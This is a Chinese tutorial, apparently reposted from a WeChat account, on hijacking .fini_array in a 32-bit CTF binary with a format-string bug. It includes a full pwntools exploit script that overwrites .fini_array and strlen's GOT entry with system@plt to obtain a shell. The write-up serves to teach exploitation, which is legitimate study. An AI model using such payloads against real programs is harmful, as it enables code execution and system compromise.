.fini_array攻击
在遇到有些漏洞的时候,比如格式化字符串,当修改了got表后想要再次跳转运行篡改的函数时发现没办法回到主函数去了,就无法实现多次循环,这时候就要考虑劫持.fini_array 了,我们来看看原理。
其实函数的入口很多人都以为是main,其实不是,是编译器定的main函数而已,编译成程序的时候入口其实是start代码段。start代码段还会调用__libc_start_main来做一些初始化工作,最后调用main函数并在main函数结束后做一些处理。
(一)首先file看看程序
这是一个32位的动态链接程序
(二)看看保护机制
GOT表可写,这个就有思路了,没有PIE,代码段( .text )、初始化数据段( .data )、未初始化数据段( .bss )不变了。
(三)看看.fini_array 地址
.fini_array 地址是0x08049934
(四)反汇编看看程序流程
首先是main函数
然后看看getnline函数
程序大概就是我们输入等于0x40个字符到acStack84中,然后 将”Nice to meet you, “+我们输入的0x40个字符+ “:)n” 复制到s中。我们算算格式化字符串,我们先算算格式化字符串偏移。
可以发现我们输入了8个a,但是显然没有对齐,多了两个a出来,所以正常的偏移是12。因为strlen在之前运行过,所以我们将system的plt地址改到strlen的GOT表上去,当再次执行strlen的时候我们输入/bin/shx00就可获得shell,但是这里得循环两次,所以必须修改.fini_array 的第一个元素为start,当main函数结束的时候即可再次循环运行。
所以exp如下:
#coding:utf8
from pwn import *
context.log_level = 'debug'
io=process('./pwn')
elf=ELF('./pwn')
fini_array=0x08049934 #readelf -S pwn
start=0x080484f0 # objdump或者ida或者r2等等都能看到
system_plt=elf.plt['system']
strlen_got=elf.got['strlen']
io.recv()
payload='aa'+p32(fini_array)+p32(strlen_got+2) #18+2+4+4
payload+=p32(strlen_got)+'%34000c%12$hn' # +4+34000=0x84f0
payload+='%33556c%13$hn' #0x84f0+33556=0x10804 截断=0x0804
payload+='%31884c%14$hn' #0x10804+31884=0x18049 截断=0x8049
io.sendline(payload) #此时已一次性将fini_array->start strlen_got->system_plt
io.recv() #程序重新运行了,接受Please tell me your name...
io.sendline('/bin/shx00')
io.interactive()
原文始发于微信公众号(由由学习吧):.fini_array攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论